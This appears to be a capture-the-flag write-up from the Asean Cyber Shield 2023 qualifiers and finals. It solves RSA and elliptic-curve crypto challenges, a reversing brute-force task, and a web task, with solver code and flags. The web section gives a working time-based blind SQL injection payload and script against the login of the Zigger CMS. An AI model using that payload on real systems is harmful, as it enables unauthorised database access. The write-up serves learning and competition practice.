# Asean Cyber Shield 2023 [QUALS and FINALS] ## Crypto [QUALS] ### Common RSA ```python= # chall.py from Crypto.Util.number import getPrime, bytes_to_long from math import gcd FLAG = b"ACS{?????????????????????????}" class RSA: def __init__(self): self.p = getPrime(512) self.q = getPrime(512) self.n = self.p * self.q self.e1 = 0x10001 self.e2 = 0x10003 assert gcd(self.e1, self.e2) == 1 assert gcd(self.e1, self.n) == 1 assert gcd(self.e2, self.n) == 1 def getPubKeys(self): return (self.n, self.e1, self.e2) def encrypt(self, m): c1 = pow(m, self.e1, self.n) c2 = pow(m, self.e2, self.n) return (c1, c2) rsa = RSA() with open("pubkey.txt", "w") as f: n, e1, e2 = rsa.getPubKeys() f.write(f"{n}\n{e1}\n{e2}") with open("ciphertexts.txt", "w") as f: c1, c2 = rsa.encrypt(bytes_to_long(FLAG)) f.write(f"{c1}\n{c2}") ``` Given encryption scheme using RSA with 2 public $e1,e2$ that different. We know that $GCD(e1,e2) = 1$. And the different of $e2-e1 = 2$. This make some big problem leak information because we can find value of $Flag^2{\space}mod{\space}n$. The equation will be: $$c1 = FLAG^{e1}$$$$c2 = FLAG^{e2}$$$$c2*c1^{-1} = FLAG^{e2-e1}$$$$FLAG^2 = c2*c1^{-1}$$ After getting $Flag^2$ we can find Flag just by doing sqrt mod n. ```python= # solve.py n = 151798642388037113811018958378137657993685455092850485442724380210449494948562438065241908373291003685092926779637963083491947591391619159652536147585036478723106569585124608391555798600577254245525732726133681780079153907891780299613770958387636919554574630254513742339024791779116952012938914178224296934261 e1 = 65537 e2 = 65539 c1 = 40484623901517443842786804306601874705216188257476641363163578348313167667314310386439419244904208320474107578625891334229529224715453792063593337575199350360650393467907278647049603351554639747016586375696746048862463118801429553166415564259339791238174259896483216977551264690637064291502469764455467816589 c2 = 26131442629994944883900141949959213729145024562514820488916932281022059266942054301226880998947378728223904070577555789927258181532633960472403688927536854859678562682055711090184399417354439263000793722252217506219821660195382053062963329694305123441806357529072885559760741511331691023685888498101475282910 import gmpy2 from Crypto.Util.number import * m2 = (c2*inverse(c1, n))%n flag = gmpy2.iroot(m2,2)[0] # print(tonelli(m2, n)) print(long_to_bytes(flag)) ``` ### Fibo Crypt ```python= # chall.py from hashlib import sha512 from os import urandom FLAG = b"ACS{??????????????????????????????????}" def fib(k): if k == 0: return 0 if k == 1: return 1 return fib(k - 1) + fib(k - 2) def gen_key(k): n = fib(k) h = sha512(str(n).encode()).digest() return h def pad(m): return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))]) def unpad(m): return m[:len(FLAG)] def encrypt(m, key): m = pad(m) c = bytes([a ^ b for a, b in zip(m, key)]) return c def decrypt(c, key): m = bytes([a ^ b for a, b in zip(c, key)]) m = unpad(m) return m k = 0xC0FFEE key = gen_key(k) ct = encrypt(FLAG, key) with open("output2.txt", "w") as f: f.write(ct.hex()) pt = decrypt(ct, key) assert pt == FLAG ``` Our goal is to guest big number in fibonacci number. My plan is solve fibonacci number with matrix exponential to decrease the time complexity and it works. ```python= # solve.py from hashlib import sha512 from os import urandom FLAG = b"ACS{??????????????????????????????????}" def fib(n): F = [[1, 1], [1, 0]] if (n == 0): return 0 power(F, n - 1) return F[0][0] def multiply(F, M): x = (F[0][0] * M[0][0] + F[0][1] * M[1][0]) y = (F[0][0] * M[0][1] + F[0][1] * M[1][1]) z = (F[1][0] * M[0][0] + F[1][1] * M[1][0]) w = (F[1][0] * M[0][1] + F[1][1] * M[1][1]) F[0][0] = x F[0][1] = y F[1][0] = z F[1][1] = w def power(F, n): if(n == 0 or n == 1): return M = [[1, 1], [1, 0]] power(F, n // 2) multiply(F, F) if (n % 2 != 0): multiply(F, M) def gen_key(k): n = fib(k) h = sha512(str(n).encode()).digest() return h def pad(m): return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))]) def unpad(m): return m[:len(FLAG)] def encrypt(m, key): m = pad(m) c = bytes([a ^ b for a, b in zip(m, key)]) return c def decrypt(c, key): m = bytes([a ^ b for a, b in zip(c, key)]) m = unpad(m) return m k = 0xC0FFEE key = gen_key(k) ct = bytes.fromhex('319a512c71a76716ecb1f6c102454d31fbeca8aca768a0f9c33bcc63a050eedc47b8d87a4332738bf3f9b888b8086ffe') pt = decrypt(ct, key) print(pt) # assert pt == FLAG ``` > ACS{L34rn1ng_F4st_F1b0n4cc1_41g0r1thm5} ### Homo RSA ```python= # server.py #!/bin/env python3 from Crypto.Util.number import getPrime from math import gcd ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and" FLAG = b"ACS{??????????????????????????????????????}" class RSA: def __init__(self): self.p = getPrime(512) self.q = getPrime(512) self.n = self.p * self.q self.e = 0x10001 assert gcd(self.e, self.n) == 1 self.phi = (self.p - 1) * (self.q - 1) assert gcd(self.e, self.phi) == 1 self.d = pow(self.e, -1, self.phi) def getPubKeys(self): return (self.n, self.e) def sign(self, m: bytes): return pow(int(m.hex(), 16), self.d, self.n) def verify(self, s: bytes): return pow(int(s.hex(), 16), self.e, self.n) == int(ADMIN_MSG.hex(), 16) def welcome(): welcome_msg = """ ██╗░░██╗░█████╗░███╗░░░███╗░█████╗░██████╗░░██████╗░█████╗░ ██║░░██║██╔══██╗████╗░████║██╔══██╗██╔══██╗██╔════╝██╔══██╗ ███████║██║░░██║██╔████╔██║██║░░██║██████╔╝╚█████╗░███████║ ██╔══██║██║░░██║██║╚██╔╝██║██║░░██║██╔══██╗░╚═══██╗██╔══██║ ██║░░██║╚█████╔╝██║░╚═╝░██║╚█████╔╝██║░░██║██████╔╝██║░░██║ ╚═╝░░╚═╝░╚════╝░╚═╝░░░░░╚═╝░╚════╝░╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝ """ print(welcome_msg) def menu(): print("[1] Sign") print("[2] Verify") print("[3] Exit") welcome() rsa = RSA() n, e = rsa.getPubKeys() print("[+] Public Modulus: ", hex(n)) print("[+] Public Exponent: ", hex(e)) print('-'*64) while True: menu() try: option = int(input("> ")) if option == 1: try: message = bytes.fromhex(input("message(hex)> ")) if message == ADMIN_MSG: print("[-] Signing admin's message is not allowed! ╯(‵□′)╯︵┻━┻") else: print("[+] Signature: ", hex(rsa.sign(message))) except: print("[-] Invalid message! ╰(‵□′)╯") if option == 2: try: signature = bytes.fromhex(input("signature(hex)> ")) verified = rsa.verify(signature) if verified: print("[+] Welcome! You deserve this: : ", FLAG) break else: print("[+] Verified: ", verified) except: print("[-] Invalid signature! ╰(‵□′)╯") if option == 3: print("[+] Bye! o(≧▽≦)/~") break except: print("[-] Invalid option! ╰(‵□′)╯") ``` After reading the source code i know is the service is vulnerable with Homomorphic Attacks on RSA. Then i just implemented it using junk is $newSign = Sign * 2$ and it works. ```python= # solve.py from pwn import * import sys from Crypto.Util.number import * # io = remote(sys.argv[1],sys.argv[2]) io = process("./chal.py") ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and" am = bytes_to_long(ADMIN_MSG) # io.interactive() io.recvuntil(b'Modulus: ') n = int(io.recvline().decode().strip(),16) io.recvuntil(b'Exponent: ') e = int(io.recvline().decode().strip(),16) io.recvuntil(b'> ') io.sendline(b'1') io.recvuntil(b')> ') io.sendline(b'02') # io.interactive() io.recvuntil(b'Signature: ') s1 = int(io.recvline().decode().strip(),16) io.recvuntil(b'> ') io.sendline(b'1') io.recvuntil(b')> ') io.sendline(hex(am*2).encode()[2:]) # print(hex(am*2).encode()) io.recvuntil(b'Signature: ') s2 = int(io.recvline().decode().strip(),16) idua = inverse(s1, n) md = (idua*s2)%n io.recvuntil(b'> ') io.sendline(b'2') io.recvuntil(b')> ') io.sendline(hex(md).encode()[2:]) flag = io.recvline() print(flag) ``` > ACS{th3_SeC0nD_1s_t0_rEpe4t_7he_5amE_tH1n6} ## Crypto [FINALS] ### Fibo Crypt2 ```python= from hashlib import sha512 from os import urandom FLAG = b"ACS{????????????????????????????????????????????????????}" def fib(k): if k == 0: return 0 if k == 1: return 1 return 0xCA11 * fib(k - 1) + 0xCAFE * fib(k - 2) def gen_key(k): n = fib(k) h = sha512(str(n).encode()).digest() return h def pad(m): return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))]) def unpad(m): return m[:len(FLAG)] def encrypt(m, key): m = pad(m) c = bytes([a ^ b for a, b in zip(m, key)]) return c def decrypt(c, key): m = bytes([a ^ b for a, b in zip(c, key)]) m = unpad(m) return m k = 0xC0FFEE key = gen_key(k) ct = encrypt(FLAG, key) with open("output.txt", "w") as f: f.write(ct.hex()) pt = decrypt(ct, key) assert pt == FLAG ``` This problem just to guest big Modified Fibonacci number. The equation of Fibonacci is: $$F(n)=a*F(n-1)+b*F(n-2)$$$$a=0xCA11$$$$b=0xCAFE$$. From this [link](https://discuss.codechef.com/t/calculate-f-n-a-f-n-1-b-f-n-2-matrix-exponentiation/4971) i just need to change the matrix value from FiboCrypt problem to solve it. And also to control big number on python i use gmpy2.mpz function. ```python= import gmpy2 def fibs(n): F = [[gmpy2.mpz(0xCA11), gmpy2.mpz(0xCAFE)], [gmpy2.mpz(1), gmpy2.mpz(0)]] if (n == 0): return 0 power(F, n - 1) return F[0][0] def multiply(F, M): x = (F[0][0] * M[0][0] + F[0][1] * M[1][0]) y = (F[0][0] * M[0][1] + F[0][1] * M[1][1]) z = (F[1][0] * M[0][0] + F[1][1] * M[1][0]) w = (F[1][0] * M[0][1] + F[1][1] * M[1][1]) F[0][0] = gmpy2.mpz(x) F[0][1] = gmpy2.mpz(y) F[1][0] = gmpy2.mpz(z) F[1][1] = gmpy2.mpz(w) def power(F, n): if(n == 0 or n == 1): return M = [[gmpy2.mpz(0xCA11), gmpy2.mpz(0xCAFE)], [gmpy2.mpz(1), gmpy2.mpz(0)]] power(F, n // 2) multiply(F, F) if (n % 2 != 0): multiply(F, M) def fib(k): if k == 0: return 0 if k == 1: return 1 return 0xCA11 * fib(k - 1) + 0xCAFE * fib(k - 2) from hashlib import sha512 FLAG = b"ACS{????????????????????????????????????????????????????}" print(fib(6)) print(fibs(6)) def gen_key(k): n = fibs(k) h = sha512(str(n).encode()).digest() return h # def pad(m): # return m + b"".join([urandom(1) for _ in range(16 - (len(m) % 16))]) def unpad(m): return m[:len(FLAG)] # def encrypt(m, key): # m = pad(m) # c = bytes([a ^ b for a, b in zip(m, key)]) # return c def decrypt(c, key): m = bytes([a ^ b for a, b in zip(c, key)]) m = unpad(m) return m k = 0xC0FFEE key = gen_key(k) ct = bytes.fromhex('49416260b622d2f72c26599df7a49bff5f048e5f29f1a30a79c8be8eb21cb9e2793e87e8ab9edbc84d6547e5172fc6f7fd23afd38d09675067be908879b53a05') pt = decrypt(ct, key) print(pt) # assert pt == FLAG ``` ![ss](https://hackmd.io/_uploads/S1VnGXkSa.jpg) > ACS{S0lv1ng_l1ne4r_r3curr3nc3_relat1on_1s_4ll_ab0ut_m4th} ### ecRSA ```python= # ecrsa.py from Crypto.Util.number import getPrime, isPrime, bytes_to_long from math import prod class RSA: def __init__(self, size): # Check size is power of two or not if not ((size & (size-1) == 0) and size != 0): return False self.p = self.getSPrime(size // 2) self.q = self.getSPrime(size // 2) self.n = self.p * self.q self.e = 65537 self.d = pow(self.e, -1, (self.p-1)*(self.q-1)) def getSPrime(self, size, s=16): while True: p = 2 * prod([getPrime(s) for _ in range(size//s)]) + 1 if isPrime(p): break return p def encrypt(self, m: int): return pow(m, self.e, self.n) class EC: def __init__(self, p, a, b): self.p = p self.a = a self.b = b def __call__(self, x, y): return Point(x, y, self) def __repr__(self): return f"Elliptic Curve defined by y^2 = x^3 + {self.a}*x + {self.b} over Finite Field of size {self.p}" class Point: def __init__(self, x, y, ec=None): # Check whether a point is on curve # if ec: # assert (y**2 % ec.p) == (x**3 + ec.a*x + ec.b) % ec.p self.x = x self.y = y self.ec = ec def __add__(P, Q): if P == 0: return Q if Q == 0: return P ... # basic point source code ... rsa = RSA(512) p = rsa.p a = !!![--REDACTED--]!!! b = !!![--REDACTED--]!!! E = EC(p, a, b) gx = !!![--REDACTED--]!!! gy = !!![--REDACTED--]!!! G = E(gx, gy) P = rsa.d * G with open("flag", "rb") as f: FLAG = f.read() ciphertext = rsa.encrypt(bytes_to_long(FLAG)) with open("pubkey.txt", "w") as f: f.write(f"n = {rsa.n}\ne = {rsa.e}\n") ``` ```python= # app.py from ecrsa import * from flask import Flask, request, render_template, jsonify, abort app = Flask(__name__) status = 0 @app.route('/') @app.route("/index", methods=["GET"]) def index(): return render_template("index.html", points=[G, 2*G, 3*G, 4*G, 5*G, 6*G]) @app.route("/travel", methods=["POST"]) def travel(): global status try: x = int(request.form["x"]) y = int(request.form["y"]) except: return jsonify({"message": "Only decimal numbers are allowed"}) if (x == P.x) and (y == P.y): status = 1 return render_template("travel.html", status=status) @app.route("/star", methods=["GET"]) def landing(): global status if status: status = 0 return render_template("star.html", ct=hex(ciphertext)[2:]) abort(401) if __name__ == "__main__": app.run(host="0.0.0.0", port=30002, debug=False) ``` From the challenge we can getting public value about $\{{G1, G2, G3, ..., G6\}}$. Because modulus of elliptic curve $p$ also using in RSA as private key we just want to recover public value of Elliptic Curve. Then, another purpose is to searching the Ciphertext and it need $P$ Point value. To get $P$ value we need also for $d$ and $p$. $$2*G1=G2$$$$2*G2=G4$$$$2*G3=G6$$ From those, we can recover modulus $p$ on Elliptic Curve.\ $$R = P+P$$$$(R.y+P.y)*2*y1 = (3*P.x^2 + a)*(x1 - x3){\space}mod{\space}p$$$$(R.y+P.y)*2*y1-(3*P.x^2)*(x1 - x3)= a*(x1 - x3){\space}mod{\space}p$$ When we subtitute point $G$ into $R$ and $P$ we can eliminate the equation to get the value that make $K = 0{\space}mod{\space}p$. And then $p=GCD(K,n)$. After getting $p$ we can recover $a$ value and getting $ciphertext$ by calculating $P$ points. ```python= # solver.py import math import requests from ecrsa_mod import EC, Point from Crypto.Util.number import * url = "http://192.168.0.52:30002/" resp = requests.get(url) # print(resp.text) rdata = resp.text.split(';" onclick="showCoord(this)">')[1:-1] datas = [] for i in rdata: sig = i.split('value="')[1:] pnt = [] for j in sig: temp = int(j.split('" readonly')[0]) pnt.append(temp) datas.append(pnt) print(len(datas),"datas") # exit(1) G = datas[0] # yr*2yp = (3xp^2+a)(xp – xr) – yp mod p # x1, y1 = P.x, P.y # x2, y2 = Q.x, Q.y # ec = P.ec # p = ec.p # if (x1 == x2) and (y1 == -y2 % p): # return 0 # if (x1 == x2) and (y1 == y2): # ld = (3*x1**2 + ec.a) * pow(2 * y1, -1, p) % p # else: # ld = (y2 - y1) * pow(x2 - x1, -1, p) % p # x3 = (ld ** 2 - x1 - x2) % p # y3 = (ld * (x1 - x3) - y1) % p def calc(pp,rr): xp, yp = pp xr, yr = rr a = (xp-xr) b = (yr+yp)*2*yp - (3*xp**2*(xp-xr)) return a, b a1_12, b2_12 = calc(datas[0], datas[1]) a1_24, b2_24 = calc(datas[1], datas[3]) # a1_36, b2_36 = calc(datas[2], datas[5]) dua_1 = b2_24*-a1_12 dua_2 = b2_12*-a1_24 print(dua_1-dua_2) n = 5010908182051933945309023640427569779937102661040535651559399453772924747454773140231979076043545176724572202452399324948115651892814794306841540697981 p = math.gcd(dua_1-dua_2,5010908182051933945309023640427569779937102661040535651559399453772924747454773140231979076043545176724572202452399324948115651892814794306841540697981) q = n//p phi = (p-1)*(q-1) e = 65537 d = pow(e,-1,phi) # recovery a value a = a1_12%p b = b2_12%p a = (inverse(a, p)*b)%p ecs = EC(p,a,27) print("generate ecs is validd") G = ecs(G[0], G[1]) P = d*G print(P.x, P.y) ct = int("b4912ba504140be5f762b0445b45c349f54724f5c9e23a781b74e835afd1cd8ce465d0ca19fb9bfb89acffce586f5ccf44a8902b183649f6038b1fb1d8214",16) # resp = requests.get(url+"/star") # print(resp.text) flag = long_to_bytes(pow(ct, d, n)) print(flag) ``` ![s1](https://hackmd.io/_uploads/S1OVreA46.jpg) ![s2](https://hackmd.io/_uploads/SJOVreAEa.jpg) ![flag](https://hackmd.io/_uploads/SkuNrg04p.jpg) > ACS{D1v1ng_iNt0_tH3_d33P_cRypt0_g41Axy} ### bbRSA ```python= # server.py @app.route("/login", methods=["POST"]) def login(): global isLoggedIn data = request.json userid = data.get("id") userpw = data.get("pw") if userid == "admin": try: userpw = int(userpw, 16) except: return jsonify({"status": "error", "message": "Password must be in hexadecimal format"}) userpw = oracle.decrypt(userpw) userpw = userpw.to_bytes(size//8, "big") if oracle.pkcs1pad2_verify(userpw): if oracle.pkcs1unpad2(userpw) == PASS.encode(): isLoggedIn = True app.logger.info(f"LOGIN_OK:{request.remote_addr} - - {data}") return jsonify({"status": "success", "message": "Login success"}) else: return jsonify({"status": "error", "message": "Wrong password"}) else: return jsonify({"status": "error", "message": "Padding is incorrect"}) else: return jsonify({"status": "error", "message": "User not found"}) @app.route("/home") def home(): global isLoggedIn if isLoggedIn: isLoggedIn = False # prevent permanent access on home return render_template("home.html", FLAG=FLAG) abort(401) if __name__ == "__main__": app.run(host="0.0.0.0", port=30001, debug=False) ``` ```python= # rsa.py from Crypto.Util.number import getPrime from os import urandom class RSA: def __init__(self, size: int): # Check size is power of two or not if not ((size & (size-1) == 0) and size != 0): return False self.k = size // 8 self.p = getPrime(size // 2) self.q = getPrime(size // 2) self.n = self.p * self.q self.e = 0x10001 self.d = pow(self.e, -1, (self.p - 1) * (self.q - 1)) def getPublicKeys(self): return (self.n, self.e) def encrypt(self, m: int): return pow(m, self.e, self.n) def decrypt(self, c: int): return pow(c, self.d, self.n) def pkcs1pad2(self, message: bytes): return b"\x00\x02" + urandom(self.k - 3 - len(message)) + b"\x00" + message def pkcs1unpad2(self, padded: bytes): return padded[padded.index(b"\x00", 2) + 1:] def pkcs1pad2_verify(self, padded: bytes): if padded[0:2] != b"\x00\x02": return False try: padded.index(b"\x00", 2) except: return False return True ``` Getting some service login and our objective is just login and getting the flag. If I look again in more detail on server.py the variable isLoggedIn is the control variable to getting the flag, just send to server the encrypted $ciphertext$ and getting back from server once. And also the ciphertext can getout from the $log$ file. ```log= [16/Oct/2023 13:28:09]:INFO:LOG_TEST:127.0.0.1 - - {'id': 'admin', 'pw': '5eed7bbb4233e9bb8df8252a1c5ef9b93757d7f5455ac374a018b834ef2886b675aaff23768f9b5d35b0c84a2168ba87bf2b43a10890fe50749a3279042a93b301662876ec8d2c979b6d006f8992ec9b417378b0178a3b45e5c53caf6a23d5661d0042808e05c258fe825ec4a3f8cae84e422c13b72d009a716bf761916a775cbdfb9fc543a6ab99021d2a19ae1b16c86a2015cf8fcc2a296f5cad02abdb82c33a44e95e2db7a59c07b89b9974cf5aab8e8f318111c8308cafc4ef5c8961baa1d4884db3a2f4d856fbba9239b721abc7b230618caf6bb8ce5520f664af2f7dfe1321bc37952c5b3a7efaaa8e01e575d00493149dd550343655f058aadcd8c7ea'} ``` Then i got the flag after send $ciphertext$ server. ```python= # send.py import requests # from rsa import RSA ct = "5eed7bbb4233e9bb8df8252a1c5ef9b93757d7f5455ac374a018b834ef2886b675aaff23768f9b5d35b0c84a2168ba87bf2b43a10890fe50749a3279042a93b301662876ec8d2c979b6d006f8992ec9b417378b0178a3b45e5c53caf6a23d5661d0042808e05c258fe825ec4a3f8cae84e422c13b72d009a716bf761916a775cbdfb9fc543a6ab99021d2a19ae1b16c86a2015cf8fcc2a296f5cad02abdb82c33a44e95e2db7a59c07b89b9974cf5aab8e8f318111c8308cafc4ef5c8961baa1d4884db3a2f4d856fbba9239b721abc7b230618caf6bb8ce5520f664af2f7dfe1321bc37952c5b3a7efaaa8e01e575d00493149dd550343655f058aadcd8c7ea" url = "http://192.168.0.52:30001/index" resp = requests.post("http://192.168.0.52:30001/login", json={"id":"admin","pw":ct}) print(resp.text) ``` ![s1](https://hackmd.io/_uploads/H1QYxmkB6.jpg) ![ss](https://hackmd.io/_uploads/HkmteQJrT.jpg) > ACS{BLEICHENBACHER'S_PKCS#1_RSA_PADDING_ORACLE_ATTACK} ## Reverse [FINALS] ### BabyRev ![b1](https://hackmd.io/_uploads/HJFy4XJrT.jpg) After the decompiler i got one big function to reverse. This just kind of calls another function that is so simple like an operator (“+”,”-”,”^”, and another equation). We can know from decompiler function like sub_401388, sub_4013A6, and else. Then after it to checking the flag there was function to compare every 4 char with main function sub_401478. My plan is to bruteforce every 4 charackter and compare with every result that save on data. I choose use c++ to decrease time used. ![b2](https://hackmd.io/_uploads/S1wZNQJST.jpg) Then I want to convert those functions to C++ then try to brute force every four characters from the function. ```cpp= // solver.cpp #include<iostream> #include<cstdlib> using namespace std; unsigned long _byteswap_ulong(unsigned long x) { return ((x >> 24) & 0x000000FF) | // Move the first byte to the last ((x >> 8) & 0x0000FF00) | // Move the second byte to the third ((x << 8) & 0x00FF0000) | // Move the third byte to the second ((x << 24) & 0xFF000000); // Move the last byte to the first } int64_t sub_40131C(int a1,int a2){ return (unsigned int)(a1 - a2); } int64_t sub_401375(unsigned int a1, int a2){ return a2 ^ a1; } int64_t sub_40138B(unsigned int a1){ return _byteswap_ulong(a1); } int64_t sub_401304(int a1, int a2) { return (unsigned int)(a1 + a2); } int64_t sub_4013A6(int a1, int a2) { return 6 * a1 + a2 + (a2 ^ a1) + 4 * ~(a2 | a1) + 4 * (a2 & ~a1) - (a2 ^ a1) - (a2 | a1) - (a1 | ~a2) + 5 * ~a2 - (a2 ^ a1) - (a2 | a1) - 2 * ~a1 - 4 * ~(a2 | a1) - 4 * (a1 & ~a2) + 3 * (a2 & (unsigned int)~a1) + 2; } int byte_40F0C0[] = { 0xB0, 0xBF, 0x5D, 0x21, 0xB3, 0x22, 0xEF, 0xAF, 0x27, 0x65, 0x93, 0x41, 0x73, 0x86, 0x3E, 0x60, 0x98, 0xCF, 0x37, 0xDD, 0xD1, 0x82, 0xD7, 0x78, 0x36, 0xA5, 0xB7, 0x45, 0xE6, 0x23, 0x4D, 0xC8, 0x7B, 0x46, 0x97, 0x95, 0xF5, 0x35, 0xAB, 0x2B, 0xFD, 0x05, 0x4C, 0xD9, 0x89, 0x72, 0x2D, 0x9E, 0xBC, 0x2E, 0x3D, 0x4A, 0x7D, 0x05, 0x44, 0xBB, 0xC8, 0xD5, 0xC1, 0x2A, 0x64, 0xE9, 0x90, 0x41, 0x16, 0x7E, 0x2A, 0x8B, 0x9B, 0xA0, 0xB8, 0x51, 0xD2, 0x73, 0xFA, 0xD9, 0x73, 0xD9, 0xFF, 0x94, 0x0D, 0x51, 0x3B, 0xC7, 0x35, 0xBD, 0x85, 0x7F}; int64_t sub_40147B(unsigned int a1, int a2) { unsigned int v2; // eax unsigned int v3; // eax unsigned int v4; // eax unsigned int v5; // eax ... // just decompile the binary to get full function // 4500++ line ... v2602 = sub_401375(v2601, 1402488867LL); v2603 = sub_40138B(v2602); v2604 = sub_401304(v2603, 3342811139LL); v2605 = sub_40138B(v2604); v2627 = sub_401375(v2605, 3065989656LL); for ( i12 = 3; ; --i12 ) { if ( i12 < 0 ) goto LABEL_133; if ( (unsigned int8_t)(v2627 >> (8 * i12)) != byte_40F0C0[4 * a2 - i12 + 3] ) break; } result = 0LL; break; default: LABEL_133: result = 1LL; break; } return result; } int main(){ string printer = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\\\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"; cout<<printer.length()<<endl; string flag = ""; for(int runtime=0;runtime<22;runtime++){ cout<<"SEARCHINGFLAG on: "<<runtime<<" index."<<endl; int ind = 1; for(int i=0;i<101;i++){ for(int j=0;j<101;j++){ for(int k=0;k<101;k++){ for(int l=0;l<101;l++){ int a1=(int)(printer[i]); int a2=(int)(printer[j]); int a3=(int)(printer[k]); int a4=(int)(printer[l]); if(ind%20000000==0) cout<<ind<<endl; int temp = (a1<<24) | (a2<<16) | (a3<<8) | (a4); // v14 = (*((char *)buf + 4 * i + 2) << 8) | (*((char *)buf + 4 * i + 1) << 16) | (*((char *)buf + 4 * i) << 24) | *((char *)buf + ((4 * i) | 3)); if(sub_40147B(temp, runtime)!=0){ cout<<"KETEMU"<<endl; cout<<i<<" "<<j<<" "<<k<<" "<<l<<endl; flag+=printer[i]; flag+=printer[j]; flag+=printer[k]; flag+=printer[l]; } ind+=1; } } } } cout<<"FLAG: "<<flag<<endl; } return 0; } ``` ![ss2](https://hackmd.io/_uploads/B1aWNXkBp.jpg) > ACS{V2l0aCBncmVhdCBwb3dlciBjb21lcyBncmVhdCByZXNwb25zaWJpbGl0eS4gLSBTcGlkZXItbWFuIGZpbG1zCg==} ## Web [FINALS] ### Zigger Zagger We getting some web application (A Zigger Web CMS from Korea). A Zigger Web CMS that has a vulnerability. After we analyzing the page and source code, we found that the login page have a sql vulnerability. ![w1](https://hackmd.io/_uploads/S1aKPXkB6.jpg) at first we try bypass the login but failed, and then we tried in Ghauri (Tools For SQL) ![w2](https://hackmd.io/_uploads/SkpYw7JB6.jpg) Ghauri found the technique which is TIME - BASED, so we Tried to retrieve the flag from the database with TIME-BASED Blind SQL. But there is a limit in the password parameter which is 50. So we try to craft short payload and i get the payload. ```python= payload = '\')|IF(MID((select*from flag),'+str(ind)+',1)=\''+a+'\',SLEEP(1),\'' ``` I known the table because we get file flag.sql ```sql= use zigger; create table flag (flag varchar(40)); insert into flag values ('ACS{fakeflag}'); ``` ```python= # solve.py import requests import string url = 'http://192.168.0.52:22030/sign/signin-submit?rewritetype=submit' headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0', 'Accept': 'text/html, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest', 'Referer': 'http://192.168.0.52:22030/sign/signin?redirect=%2F' } import time flag = [] for ind in range(1, 21): mb = [] for a in string.printable: tt = time.time() payload = 'id=admin&pwd=\')|IF(MID((select*from flag),'+str(ind)+',1)=\''+a+'\',SLEEP(1),\'' response = requests.post(url, headers=headers, data=payload) resp = time.time()-tt # print(resp) if(int(resp)>0): mb.append(a) # print(flag) # break # break print(mb) flag.append(mb) print(response.text) # use zigger; # create table flag (flag varchar(40)); # insert into flag values ('ACS{fakeflag}'); print(len(payload.split("pwd=")[1])) ``` ![w3](https://hackmd.io/_uploads/SypKDmJH6.jpg) > ACS{ziggersqligoodverygood}